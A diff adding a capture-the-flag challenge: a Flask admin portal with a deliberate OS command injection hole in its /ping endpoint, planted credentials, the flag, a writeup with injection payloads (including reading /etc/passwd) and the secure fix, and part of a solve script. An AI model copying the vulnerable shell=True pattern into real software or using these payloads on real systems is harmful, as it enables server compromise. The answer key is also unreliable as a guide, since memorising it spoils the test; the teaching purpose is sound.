+- The challenge description (see `challenge_description/challenge.md`)
+- Access to the running application (via URL or Docker)
+
+Competitors are **NOT** given:
+- Source code
+- The solution or writeup
+- Any hints beyond those in the challenge description
+
+---
+
+## Notes for Graders
+
+- The flag is stored in `flag.txt` in the application root
+- The flag is: `flag{internal_tools_should_not_use_shell_true}`
+- The vulnerability is in the `/ping` endpoint — see `app.py` for the annotated vulnerable code
+- The full solution and writeup are in the `solution/` directory
diff --git a/acme-admin-portal/deploy/Dockerfile b/acme-admin-portal/deploy/Dockerfile
new file mode 100644
index 00000000..90496407
--- /dev/null
+++ b/acme-admin-portal/deploy/Dockerfile
@@ -0,0 +1,12 @@
+FROM python:3.11-slim
+
+WORKDIR /app
+
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY . .
+
+EXPOSE 5000
+
+CMD ["python", "app.py"]
diff --git a/acme-admin-portal/deploy/app.py b/acme-admin-portal/deploy/app.py
new file mode 100644
index 00000000..b7927539
--- /dev/null
+++ b/acme-admin-portal/deploy/app.py
@@ -0,0 +1,76 @@
+#!/usr/bin/env python3
+"""
+ACME Internal Admin Portal
+==========================
+Author copy — includes full source and vulnerability notes.
+
+INTENTIONALLY VULNERABLE APPLICATION — FOR EDUCATIONAL PURPOSES ONLY
+This application is designed to demonstrate OS command injection vulnerabilities.
+DO NOT deploy in a production environment.
+"""
+
+import subprocess
+from flask import Flask, render_template, request
+
+app = Flask(__name__)
+
+
+@app.route("/")
+def index():
+ return render_template("index.html")
+
+
+@app.route("/tools")
+def tools():
+ return render_template("tools.html")
+
+
+@app.route("/logs")
+def logs():
+ with open("fake_data/logs.txt", "r") as f:
+ log_content = f.read()
+ return render_template("logs.html", logs=log_content)
+
+
+@app.route("/about")
+def about():
+ return render_template("about.html")
+
+
+# =============================================================================
+# VULNERABLE ENDPOINT — DO NOT USE IN PRODUCTION
+# Vulnerability: OS Command Injection via shell=True
+# The user-supplied `target` parameter is passed directly into a shell command
+# without any sanitization. An attacker can inject shell metacharacters such as
+# ; | && to chain arbitrary commands.
+#
+# Example exploit:
+# /ping?target=8.8.8.8; cat flag.txt
+# =============================================================================
+@app.route("/ping")
+def ping():
+ target = request.args.get("target", "")
+
+ if not target:
+ return render_template("tools.html", ping_result="Error: No target specified.")
+
+ # VULNERABLE: shell=True with unsanitized user input
+ try:
+ result = subprocess.run(
+ f"ping -c 1 {target}", # <-- user input concatenated directly!
+ shell=True, # <-- shell=True enables metacharacter injection
+ capture_output=True,
+ text=True,
+ timeout=10
+ )
+ output = result.stdout + result.stderr
+ except subprocess.TimeoutExpired:
+ output = "Error: Request timed out."
+ except Exception as e:
+ output = f"Error: {str(e)}"
+
+ return render_template("tools.html", ping_result=output)
+
+
+if __name__ == "__main__":
+ app.run(host="0.0.0.0", port=5000, debug=False)
diff --git a/acme-admin-portal/deploy/fake_data/TODO.md b/acme-admin-portal/deploy/fake_data/TODO.md
new file mode 100644
index 00000000..021626a1
--- /dev/null
+++ b/acme-admin-portal/deploy/fake_data/TODO.md
@@ -0,0 +1,24 @@
+# ACME Admin Portal — TODO
+
+## High Priority
+- [ ] Implement authentication (portal is currently unauthenticated!)
+- [ ] Migrate diagnostics tools to safe subprocess calls (no shell=True)
+- [ ] Input validation for all form fields
+- [ ] Enable HTTPS
+
+## Medium Priority
+- [ ] Implement DNS lookup backend
+- [ ] Implement port scanner (rate-limited)
+- [ ] Improve logging — add timestamps and user tracking
+- [ ] Add session management
+
+## Low Priority
+- [ ] Dark/light mode toggle
+- [ ] Export logs to CSV
+- [ ] Integrate with internal ticketing system
+
+## Done
+- [x] Basic dashboard layout
+- [x] Ping utility (NEEDS SECURITY REVIEW)
+- [x] Fake log viewer
+- [x] Docker containerization
diff --git a/acme-admin-portal/deploy/fake_data/admin_notes.txt b/acme-admin-portal/deploy/fake_data/admin_notes.txt
new file mode 100644
index 00000000..fc5b7306
--- /dev/null
+++ b/acme-admin-portal/deploy/fake_data/admin_notes.txt
@@ -0,0 +1,28 @@
+ACME Technologies — Internal Admin Notes
+========================================
+Last updated: 2024-03-15 | Author: j.harris@acme-tech.internal
+
+REMINDERS (before next sprint):
+--------------------------------
+- [ ] Sanitize ALL user input on diagnostics endpoints
+- [ ] Remove shell=True before production deployment — THIS IS A SECURITY RISK
+- [ ] Rotate admin credentials (current ones have been shared too widely)
+- [ ] Restrict portal access to internal VPN only
+- [ ] Add authentication layer — portal is currently wide open
+- [ ] Audit subprocess calls in app.py
+
+KNOWN ISSUES:
+-------------
+- Ping utility does not validate IP format
+- DNS lookup is not yet implemented (placeholder only)
+- Port scanner stub needs backend logic
+- Log viewer loads entire log file (could be slow at scale)
+
+TEMP CREDENTIALS (DO NOT LEAVE IN PRODUCTION):
+-----------------------------------------------
+admin / admin123 <-- CHANGE THIS IMMEDIATELY
+
+NOTES FROM LAST MEETING:
+-------------------------
+Marcus flagged the diagnostics page as a potential risk vector.
+We agreed to patch before Q2 external audit. Deadline: EOD Friday.
diff --git a/acme-admin-portal/deploy/fake_data/logs.txt b/acme-admin-portal/deploy/fake_data/logs.txt
new file mode 100644
index 00000000..150a8ff7
--- /dev/null
+++ b/acme-admin-portal/deploy/fake_data/logs.txt
@@ -0,0 +1,22 @@
+[2024-03-15 08:01:03] [INFO] System monitoring service started
+[2024-03-15 08:01:04] [INFO] ICMP diagnostics module initialized
+[2024-03-15 08:01:05] [INFO] Web interface listening on 0.0.0.0:5000
+[2024-03-15 08:14:22] [INFO] GET / — 200 OK
+[2024-03-15 08:15:01] [INFO] GET /tools — 200 OK
+[2024-03-15 08:15:44] [WARN] User input validation DISABLED for diagnostics endpoint (testing mode)
+[2024-03-15 08:16:02] [INFO] Ping executed: target=8.8.8.8
+[2024-03-15 08:21:17] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:18] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:19] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:20] [WARN] Account lockout threshold not configured — no lockout applied
+[2024-03-15 09:03:55] [INFO] DNS cache refreshed
+[2024-03-15 09:45:12] [INFO] Ping executed: target=192.168.1.1
+[2024-03-15 10:02:31] [ERROR] Subprocess timeout — target unreachable
+[2024-03-15 10:30:00] [INFO] Scheduled log rotation skipped (not configured)
+[2024-03-15 11:15:44] [INFO] GET /logs — 200 OK
+[2024-03-15 12:00:00] [INFO] Heartbeat OK — all systems nominal
+[2024-03-15 13:22:09] [WARN] Portal accessible from external IP — VPN restriction not enforced
+[2024-03-15 14:08:53] [INFO] Ping executed: target=10.0.0.1
+[2024-03-15 15:30:11] [INFO] GET /about — 200 OK
+[2024-03-15 16:45:00] [WARN] SSL certificate expires in 12 days — renewal pending
+[2024-03-15 17:00:00] [INFO] End-of-day snapshot complete
diff --git a/acme-admin-portal/deploy/flag.txt b/acme-admin-portal/deploy/flag.txt
new file mode 100644
index 00000000..549a6bec
--- /dev/null
+++ b/acme-admin-portal/deploy/flag.txt
@@ -0,0 +1 @@
+flag{internal_tools_should_not_use_shell_true}
diff --git a/acme-admin-portal/deploy/requirements.txt b/acme-admin-portal/deploy/requirements.txt
new file mode 100644
index 00000000..7e106024
--- /dev/null
+++ b/acme-admin-portal/deploy/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/acme-admin-portal/deploy/static/style.css b/acme-admin-portal/deploy/static/style.css
new file mode 100644
index 00000000..7d52944a
--- /dev/null
+++ b/acme-admin-portal/deploy/static/style.css
@@ -0,0 +1,348 @@
+/* ============================================================
+ ACME INTERNAL ADMIN PORTAL — Stylesheet
+ Dark industrial IT dashboard aesthetic
+ ============================================================ */
+
+@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@300;400;500;600&display=swap');
+
+:root {
+ --bg: #0f172a;
+ --surface: #1e293b;
+ --surface-2: #273548;
+ --border: #334155;
+ --accent: #38bdf8;
+ --accent-dim: #0ea5e9;
+ --text: #e2e8f0;
+ --text-muted: #64748b;
+ --text-dim: #94a3b8;
+ --green: #22c55e;
+ --yellow: #f59e0b;
+ --red: #ef4444;
+ --font-sans: 'IBM Plex Sans', monospace;
+ --font-mono: 'IBM Plex Mono', monospace;
+ --topbar-h: 52px;
+ --sidebar-w: 220px;
+ --footer-h: 36px;
+}
+
+*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
+
+body {
+ background: var(--bg);
+ color: var(--text);
+ font-family: var(--font-sans);
+ font-size: 14px;
+ line-height: 1.6;
+ min-height: 100vh;
+ display: flex;
+ flex-direction: column;
+}
+
+/* ── TOPBAR ────────────────────────────────── */
+.topbar {
+ height: var(--topbar-h);
+ background: var(--surface);
+ border-bottom: 1px solid var(--border);
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0 1.5rem;
+ position: sticky;
+ top: 0;
+ z-index: 100;
+}
+
+.topbar-left { display: flex; align-items: center; gap: 0.6rem; }
+.logo-mark { color: var(--accent); font-size: 1.2rem; }
+.logo-text { font-family: var(--font-mono); font-weight: 600; font-size: 0.95rem; letter-spacing: 0.08em; }
+.logo-sub { color: var(--text-muted); font-weight: 400; }
+
+.topbar-right { display: flex; align-items: center; gap: 0.75rem; font-size: 0.8rem; color: var(--text-dim); }
+.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); }
+.divider { color: var(--border); }
+.env-badge {
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ background: rgba(56,189,248,0.12);
+ color: var(--accent);
+ border: 1px solid rgba(56,189,248,0.3);
+ padding: 2px 8px;
+ border-radius: 3px;
+ letter-spacing: 0.1em;
+}
+
+/* ── LAYOUT ────────────────────────────────── */
+.layout {
+ display: flex;
+ flex: 1;
+ min-height: calc(100vh - var(--topbar-h) - var(--footer-h));
+}
+
+/* ── SIDEBAR ───────────────────────────────── */
+.sidebar {
+ width: var(--sidebar-w);
+ background: var(--surface);
+ border-right: 1px solid var(--border);
+ display: flex;
+ flex-direction: column;
+ justify-content: space-between;
+ padding: 1.2rem 0;
+ flex-shrink: 0;
+}
+
+.sidebar-section { display: flex; flex-direction: column; gap: 2px; }
+.sidebar-label {
+ font-family: var(--font-mono);
+ font-size: 0.65rem;
+ letter-spacing: 0.15em;
+ color: var(--text-muted);
+ padding: 0 1rem 0.5rem;
+}
+
+.nav-link {
+ display: flex;
+ align-items: center;
+ gap: 0.6rem;
+ padding: 0.55rem 1rem;
+ color: var(--text-dim);
+ text-decoration: none;
+ font-size: 0.875rem;
+ transition: all 0.15s;
+ border-left: 2px solid transparent;
+}
+.nav-link:hover { background: var(--surface-2); color: var(--text); }
+.nav-link.active { background: rgba(56,189,248,0.08); color: var(--accent); border-left-color: var(--accent); }
+.nav-icon { font-size: 0.5rem; color: var(--border); }
+.nav-link.active .nav-icon { color: var(--accent); }
+
+.sidebar-footer { padding: 1rem; border-top: 1px solid var(--border); margin-top: 1rem; }
+.session-info { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); line-height: 1.7; }
+.session-info.muted { color: var(--border); }
+
+/* ── MAIN CONTENT ──────────────────────────── */
+.main-content { flex: 1; padding: 1.75rem 2rem; overflow-y: auto; }
+
+.page-header { margin-bottom: 1.5rem; }
+.page-title { font-size: 1.35rem; font-weight: 600; color: var(--text); line-height: 1.2; }
+.page-subtitle { font-size: 0.8rem; color: var(--text-muted); font-family: var(--font-mono); }
+
+/* ── ALERT BANNERS ─────────────────────────── */
+.alert-banner {
+ display: flex;
+ align-items: center;
+ gap: 0.75rem;
+ padding: 0.65rem 1rem;
+ border-radius: 4px;
+ margin-bottom: 1.5rem;
+ font-size: 0.83rem;
+ border-left: 3px solid;
+}
+.alert-banner.warning { background: rgba(245,158,11,0.08); border-color: var(--yellow); color: #fcd34d; }
+.alert-banner.info { background: rgba(56,189,248,0.07); border-color: var(--accent); color: var(--accent); }
+.alert-icon { font-size: 1rem; }
+
+/* ── CARDS ─────────────────────────────────── */
+.card-grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
+ gap: 1.25rem;
+}
+.card-grid.two-col { grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); }
+
+.card {
+ background: var(--surface);
+ border: 1px solid var(--border);
+ border-radius: 6px;
+ padding: 1.25rem;
+}
+
+.card-header {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ margin-bottom: 1rem;
+ padding-bottom: 0.75rem;
+ border-bottom: 1px solid var(--border);
+}
+.card-title { font-weight: 600; font-size: 0.9rem; letter-spacing: 0.02em; }
+
+/* ── BADGES ────────────────────────────────── */
+.badge {
+ font-family: var(--font-mono);
+ font-size: 0.65rem;
+ font-weight: 600;
+ letter-spacing: 0.1em;
+ padding: 2px 8px;
+ border-radius: 3px;
+}
+.badge-green { background: rgba(34,197,94,0.12); color: var(--green); border: 1px solid rgba(34,197,94,0.3); }
+.badge-blue { background: rgba(56,189,248,0.12); color: var(--accent); border: 1px solid rgba(56,189,248,0.3); }
+.badge-yellow { background: rgba(245,158,11,0.12); color: var(--yellow); border: 1px solid rgba(245,158,11,0.3); }
+.badge-red { background: rgba(239,68,68,0.12); color: var(--red); border: 1px solid rgba(239,68,68,0.3); }
+
+/* ── STAT LIST ─────────────────────────────── */
+.stat-list { display: flex; flex-direction: column; gap: 0.5rem; }
+.stat-row { display: flex; justify-content: space-between; align-items: center; font-size: 0.83rem; }
+.stat-label { color: var(--text-muted); }
+.stat-value { font-family: var(--font-mono); font-size: 0.8rem; color: var(--text-dim); }
+.stat-value.online { color: var(--green); }
+.stat-value.offline { color: var(--red); }
+.stat-value.warn { color: var(--yellow); }
+
+/* ── UPTIME DISPLAY ────────────────────────── */
+.uptime-display { text-align: center; padding: 0.75rem 0; }
+.uptime-number { font-family: var(--font-mono); font-size: 1.8rem; font-weight: 600; color: var(--accent); letter-spacing: 0.05em; }
+.uptime-label { font-size: 0.75rem; color: var(--text-muted); margin-top: 2px; }
+
+/* ── ALERT LIST ────────────────────────────── */
+.alert-list { display: flex; flex-direction: column; gap: 0.6rem; }
+.alert-item { display: flex; gap: 0.75rem; font-size: 0.8rem; align-items: flex-start; }
+.alert-item.warn { color: #fcd34d; }
+.alert-time { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); flex-shrink: 0; padding-top: 1px; }
+
+/* ── QUICK LINKS ───────────────────────────── */
+.quick-links { display: flex; flex-direction: column; gap: 0.5rem; margin-bottom: 1rem; }
+.quick-link-btn {
+ display: block;
+ text-align: center;
+ padding: 0.55rem 1rem;
+ background: var(--surface-2);
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ color: var(--text-dim);
+ text-decoration: none;
+ font-size: 0.83rem;
+ transition: all 0.15s;
+}
+.quick-link-btn:hover { background: rgba(56,189,248,0.08); border-color: var(--accent); color: var(--accent); }
+
+.card-note { font-size: 0.75rem; color: var(--text-muted); margin-top: 0.75rem; padding-top: 0.75rem; border-top: 1px solid var(--border); }
+
+/* ── TOOLS PAGE ────────────────────────────── */
+.tools-grid { display: flex; flex-direction: column; gap: 1.25rem; }
+.tool-card { max-width: 680px; }
+.tool-description { font-size: 0.83rem; color: var(--text-muted); margin-bottom: 1rem; }
+
+.tool-form { display: flex; flex-direction: column; gap: 0.75rem; }
+.input-group { display: flex; flex-direction: column; gap: 0.3rem; }
+.input-label { font-size: 0.78rem; color: var(--text-muted); font-family: var(--font-mono); letter-spacing: 0.05em; }
+
+.tool-input {
+ background: var(--bg);
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ padding: 0.55rem 0.85rem;
+ color: var(--text);
+ font-family: var(--font-mono);
+ font-size: 0.88rem;
+ width: 100%;
+ transition: border-color 0.15s;
+}
+.tool-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 2px rgba(56,189,248,0.1); }
+.tool-input:disabled { opacity: 0.4; cursor: not-allowed; }
+
+.tool-btn {
+ align-self: flex-start;
+ background: var(--accent);
+ color: #0f172a;
+ border: none;
+ border-radius: 4px;
+ padding: 0.5rem 1.4rem;
+ font-family: var(--font-mono);
+ font-weight: 600;
+ font-size: 0.83rem;
+ letter-spacing: 0.05em;
+ cursor: pointer;
+ transition: background 0.15s, opacity 0.15s;
+}
+.tool-btn:hover { background: var(--accent-dim); }
+.tool-btn.disabled { background: var(--surface-2); color: var(--text-muted); cursor: not-allowed; }
+
+.disabled-tool { opacity: 0.65; }
+
+/* ── RESULT BOX ────────────────────────────── */
+.result-box {
+ margin-top: 1.25rem;
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ overflow: hidden;
+}
+.result-header {
+ display: flex;
+ justify-content: space-between;
+ padding: 0.4rem 0.85rem;
+ background: var(--surface-2);
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ letter-spacing: 0.1em;
+ color: var(--text-muted);
+ border-bottom: 1px solid var(--border);
+}
+.result-output {
+ background: #080f1a;
+ color: var(--green);
+ font-family: var(--font-mono);
+ font-size: 0.82rem;
+ padding: 1rem;
+ white-space: pre-wrap;
+ word-break: break-all;
+ max-height: 400px;
+ overflow-y: auto;
+ line-height: 1.7;
+}
+
+/* ── LOGS PAGE ─────────────────────────────── */
+.log-controls {
+ display: flex;
+ gap: 0.5rem;
+ margin-bottom: 1rem;
+}
+.log-filter {
+ font-family: var(--font-mono);
+ font-size: 0.72rem;
+ padding: 3px 10px;
+ border-radius: 3px;
+ border: 1px solid var(--border);
+ color: var(--text-muted);
+ cursor: pointer;
+ letter-spacing: 0.08em;
+}
+.log-filter.active { background: rgba(56,189,248,0.1); color: var(--accent); border-color: rgba(56,189,248,0.3); }
+
+.log-viewer {
+ background: #080f1a;
+ color: var(--text-dim);
+ font-family: var(--font-mono);
+ font-size: 0.8rem;
+ padding: 1rem;
+ border-radius: 4px;
+ border: 1px solid var(--border);
+ white-space: pre-wrap;
+ line-height: 1.8;
+ max-height: 520px;
+ overflow-y: auto;
+}
+
+/* ── ABOUT PAGE ────────────────────────────── */
+.about-text p { color: var(--text-dim); font-size: 0.875rem; margin-bottom: 0.75rem; line-height: 1.7; }
+
+/* ── FOOTER ────────────────────────────────── */
+.footer {
+ height: var(--footer-h);
+ background: var(--surface);
+ border-top: 1px solid var(--border);
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0 1.5rem;
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ color: var(--text-muted);
+}
+.footer-right { color: var(--yellow); letter-spacing: 0.05em; }
+
+/* ── SCROLLBAR ─────────────────────────────── */
+::-webkit-scrollbar { width: 6px; height: 6px; }
+::-webkit-scrollbar-track { background: var(--bg); }
+::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
+::-webkit-scrollbar-thumb:hover { background: var(--text-muted); }
diff --git a/acme-admin-portal/deploy/templates/about.html b/acme-admin-portal/deploy/templates/about.html
new file mode 100644
index 00000000..3dfab3ff
--- /dev/null
+++ b/acme-admin-portal/deploy/templates/about.html
@@ -0,0 +1,90 @@
+{% extends "base.html" %}
+{% block content %}
+
+
+
About
+ ACME Technologies — Internal Admin Portal
+
+
+
+
+
+
+ About ACME Technologies
+
+
+
ACME Technologies is a global infrastructure and IT operations firm providing enterprise-grade networking, monitoring, and diagnostic solutions to Fortune 500 clients.
+
Founded in 1998, ACME operates data centers across 14 regions and supports over 40,000 enterprise endpoints worldwide.
+
This internal administration portal provides IT staff with real-time network diagnostic capabilities, system health monitoring, and infrastructure management tooling.
+
+
+
+
+
+ Portal Information
+
+
+
+ Application
+ ACME Admin Portal
+
+
+ Version
+ 2.4.1
+
+
+ Framework
+ Flask 3.x / Python 3.11
+
+
+ Environment
+ ⚠ Production (Unprotected)
+
+
+ Auth Status
+ ● Disabled
+
+
+ Maintained by
+ IT Operations Team
+
+
+
+
+
+
+ Contact
+
+
+
+ IT Helpdesk
+ it-help@acme-tech.internal
+
+
+ Security Team
+ security@acme-tech.internal
+
+
+ NOC
+ noc@acme-tech.internal
+
+
+ Emergency
+ ext. 9-1-1 (internal)
+
+
+
+
+
+
+ Legal & Compliance
+
+
+
Access to this portal is restricted to authorized ACME Technologies employees and contractors. All activity on this system is monitored and logged.
+
Unauthorized access, data exfiltration, or misuse of administrative tools is a violation of company policy and may constitute a criminal offense under applicable computer fraud statutes.
+ ⓘ
+ These tools are intended for internal network diagnostics only. Results are rendered directly from the system.
+
+
+
+
+
+
+
+ Ping Utility
+ ACTIVE
+
+
+ Send an ICMP echo request to a target host to verify connectivity.
+
+
+
+ {% if ping_result %}
+
+
+ OUTPUT
+ {{ self.__class__.__name__ }}
+
+
{{ ping_result }}
+
+ {% endif %}
+
+
+
+
+
+ DNS Lookup
+ OFFLINE
+
+
+ Resolve a domain name to its IP address using the internal DNS resolver.
+
+
+
+
+
+
+
⚠ DNS module is offline — scheduled for maintenance.
+
+
+
+
+
+ Port Scanner
+ OFFLINE
+
+
+ Scan a host for open TCP ports within a specified range.
+
+
+
+
+
+
+
⚠ Port scanner pending security review and approval.
+
+
+
+
+{% endblock %}
diff --git a/acme-admin-portal/solution/WRITEUP.md b/acme-admin-portal/solution/WRITEUP.md
new file mode 100644
index 00000000..57586eec
--- /dev/null
+++ b/acme-admin-portal/solution/WRITEUP.md
@@ -0,0 +1,254 @@
+# CTF Writeup — ACME Internal Admin Portal
+
+**Challenge Name:** ACME Internal Admin Portal
+**Category:** Web Exploitation
+**Difficulty:** Beginner / Intermediate
+**Flag:** `flag{internal_tools_should_not_use_shell_true}`
+
+---
+
+## Overview
+
+The ACME Internal Admin Portal is a simulated corporate IT administration dashboard that has been accidentally exposed to the public internet. The portal provides several network diagnostic utilities. One of these utilities contains a critical OS Command Injection vulnerability caused by insecure use of Python's `subprocess` module with `shell=True`.
+
+The objective is to identify the vulnerable endpoint and exploit it to read the flag from the server's filesystem.
+
+---
+
+## Reconnaissance
+
+### Step 1 — Browse the Application
+
+Opening the application at `http://localhost:5000` reveals a dark-themed internal IT dashboard with four navigation sections:
+
+- **Dashboard** — System status indicators, uptime, and recent alerts
+- **Network Tools** — Ping utility, DNS lookup, port scanner
+- **System Logs** — Server event log
+- **About** — Company and portal information
+
+The dashboard itself contains several interesting hints:
+
+```
+[WARN] Portal accessible from external IP — VPN restriction not enforced
+[WARN] Input validation disabled on diagnostics endpoint
+```
+
+The "About" page also reveals that the auth service is disabled and the environment is unprotected.
+
+### Step 2 — Examine the Network Tools Page
+
+Navigating to `/tools` reveals three network diagnostic utilities:
+
+| Tool | Status | Functional? |
+|--------------|---------|-------------|
+| Ping Utility | ACTIVE | ✓ Yes |
+| DNS Lookup | OFFLINE | ✗ No |
+| Port Scanner | OFFLINE | ✗ No |
+
+Only the **Ping Utility** is functional. This immediately focuses attention on it as the attack surface.
+
+### Step 3 — Test the Ping Utility
+
+Entering a valid IP address (e.g., `8.8.8.8`) and submitting the form produces:
+
+```
+PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
+64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=12.3 ms
+
+--- 8.8.8.8 ping statistics ---
+1 packets transmitted, 1 received, 0% packet loss
+```
+
+The server executes a real shell command and returns the raw output. This is a strong indicator that the backend is using `subprocess` or similar functionality to run system commands.
+
+---
+
+## Vulnerability Discovery
+
+### Step 4 — Examine the HTTP Request
+
+When the form is submitted, the browser sends:
+
+```
+GET /ping?target=8.8.8.8 HTTP/1.1
+```
+
+The user-supplied `target` parameter is sent directly as a query string. There is no client-side filtering or indication of server-side validation.
+
+### Step 5 — Identify the Vulnerability
+
+Based on:
+- A live ping result rendered from a real system command
+- User input passed directly as a query parameter
+- No visible validation or sanitization
+
+The application appears to construct a shell command like:
+
+```bash
+ping -c 1
+```
+
+If `shell=True` is used in Python's `subprocess` module, shell metacharacters such as `;`, `&&`, `||`, and `|` will be interpreted by the shell, allowing command chaining.
+
+This is a classic **OS Command Injection** vulnerability.
+
+---
+
+## Exploitation
+
+### Step 6 — Craft the Injection Payload
+
+The shell semicolon (`;`) terminates one command and begins another:
+
+```
+ping -c 1 8.8.8.8; cat flag.txt
+```
+
+This causes the server to execute two commands sequentially:
+1. `ping -c 1 8.8.8.8` — runs normally
+2. `cat flag.txt` — reads the flag file
+
+### Step 7 — Deliver the Payload
+
+Submit the following in the ping form, or send the request directly:
+
+```
+http://localhost:5000/ping?target=8.8.8.8;+cat+flag.txt
+```
+
+Or URL-encoded:
+
+```
+http://localhost:5000/ping?target=8.8.8.8%3B%20cat%20flag.txt
+```
+
+### Step 8 — Retrieve the Flag
+
+The server response includes the combined output of both commands:
+
+```
+PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
+64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=12.3 ms
+
+--- 8.8.8.8 ping statistics ---
+1 packets transmitted, 1 received, 0% packet loss, time 0ms
+rtt min/avg/max/mdev = 12.3/12.3/12.3/0.000 ms
+
+flag{internal_tools_should_not_use_shell_true}
+```
+
+**Flag:** `flag{internal_tools_should_not_use_shell_true}`
+
+---
+
+## Alternative Payloads
+
+Several other shell metacharacters also work:
+
+| Payload | Behavior |
+|---------------------------------|-------------------------------------|
+| `8.8.8.8; cat flag.txt` | Sequential execution |
+| `8.8.8.8 && cat flag.txt` | Execute if ping succeeds |
+| `8.8.8.8 \| cat flag.txt` | Pipe stdout |
+| `; cat flag.txt` | Skip ping entirely |
+| `$(cat flag.txt)` | Command substitution |
+| `8.8.8.8; ls` | List directory contents |
+| `8.8.8.8; id` | Reveal running user |
+| `8.8.8.8; cat /etc/passwd` | Read system user file |
+
+---
+
+## Root Cause Analysis
+
+### The Vulnerable Code
+
+```python
+# app.py — Lines ~55-65
+
+result = subprocess.run(
+ f"ping -c 1 {target}", # <-- user input concatenated into command string
+ shell=True, # <-- shell=True allows metacharacter interpretation
+ capture_output=True,
+ text=True,
+ timeout=10
+)
+```
+
+**Two compounding mistakes:**
+
+1. **`shell=True`** — Passes the command string to `/bin/sh -c`, which interprets shell metacharacters (`;`, `&&`, `|`, etc.)
+2. **No input sanitization** — The `target` variable is inserted directly into the command string with no validation, escaping, or allowlist checking
+
+When these two conditions exist together, any user-supplied input can inject arbitrary shell commands.
+
+---
+
+## Mitigation
+
+### Secure Version
+
+```python
+import subprocess
+import re
+
+@app.route("/ping")
+def ping():
+ target = request.args.get("target", "")
+
+ # 1. Validate input against a strict allowlist
+ if not re.match(r'^[\d\.a-zA-Z\-]+$', target) or len(target) > 64:
+ return render_template("tools.html", ping_result="Error: Invalid target.")
+
+ # 2. Use argument list — NEVER shell=True with user input
+ try:
+ result = subprocess.run(
+ ["ping", "-c", "1", target], # Arguments as a list, not a string
+ capture_output=True,
+ text=True,
+ timeout=10
+ # shell=True is gone entirely
+ )
+ output = result.stdout + result.stderr
+ except subprocess.TimeoutExpired:
+ output = "Error: Request timed out."
+
+ return render_template("tools.html", ping_result=output)
+```
+
+### Why This Is Secure
+
+| Fix | Why It Helps |
+|-------------------------|---------------------------------------------------------------|
+| `shell=False` (default) | Arguments are passed directly to the OS; no shell interprets metacharacters |
+| Argument list | Each element is a discrete argument — no concatenation |
+| Input validation | Allowlist regex rejects `;`, `&&`, `\|`, spaces, etc. |
+| Length limit | Prevents buffer-style abuse |
+
+### Additional Recommendations
+
+- **Principle of least privilege** — Run the application as a non-root user
+- **Network restriction** — Restrict portal access to internal VPN or IP allowlist
+- **Authentication** — Add login before exposing any administrative tools
+- **Output sanitization** — HTML-escape all command output before rendering
+- **Disable debug mode** — Never run Flask with `debug=True` in production
+
+---
+
+## Lessons Learned
+
+This challenge demonstrates one of the most dangerous categories of web vulnerability. OS Command Injection consistently appears in the OWASP Top 10 (A03: Injection) because:
+
+- Developers conflate "it works" with "it is safe"
+- `shell=True` is convenient and commonly misused
+- The consequences are severe: full server compromise, data exfiltration, lateral movement
+
+The remediation is straightforward: **never use `shell=True` with user-controlled input**, and always validate input against a strict allowlist before passing it anywhere near a system call.
+
+---
+
+## References
+
+- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
+- [Python subprocess docs — Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations)
+- [CWE-78: Improper Neutralization of Special Elements in an OS Command](https://cwe.mitre.org/data/definitions/78.html)
+- [PortSwigger: OS Command Injection](https://portswigger.net/web-security/os-command-injection)
diff --git a/acme-admin-portal/solution/solve.py b/acme-admin-portal/solution/solve.py
new file mode 100644
index 00000000..b278a343
--- /dev/null
+++ b/acme-admin-portal/solution/solve.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+"""
+ACME Internal Admin Portal — CTF Solve Script
+==============================================
+Challenge Category : Web Exploitation
+Vulnerability : OS Command Injection (shell=True)
+Author : CTF Author
+
+Usage:
+ python solve.py
+ python solve.py --host http://localhost:5000
+"""
+
+import argparse
+import re
+import sys
+import urllib.parse
+import urllib.request
+
+
+BANNER = """
+╔══════════════════════════════════════════════════════╗
+║ ACME Internal Admin Portal — Exploit Script ║
+║ Vulnerability: OS Command Injection ║
+╚══════════════════════════════════════════════════════╝
+"""
+
+
+def exploit(host: str) -> str:
+ """
+ Exploit the OS command injection vulnerability in the /ping endpoint.
+
+ The vulnerable code in app.py executes:
+ subprocess.run(f"ping -c 1 {target}", shell=True, ...)
+
+ By injecting a semicolon (;) we can terminate the ping command and
+ chain an arbitrary second command. The server returns the combined
+ output of both commands in the HTTP response.
+
+ Payload breakdown:
+ 8.8.8.8 -> valid IP so ping doesn't immediately error
+ ; -> shell command separator
+ cat flag.txt -> read the flag file
+ """
+ payload = "8.8.8.8; cat flag.txt"
+ encoded = urllib.parse.quote(payload)
+ url = f"{host}/ping?target={encoded}"
+
+ print(f"[*] Target : {host}")
+ print(f"[*] Endpoint : /ping?target=")
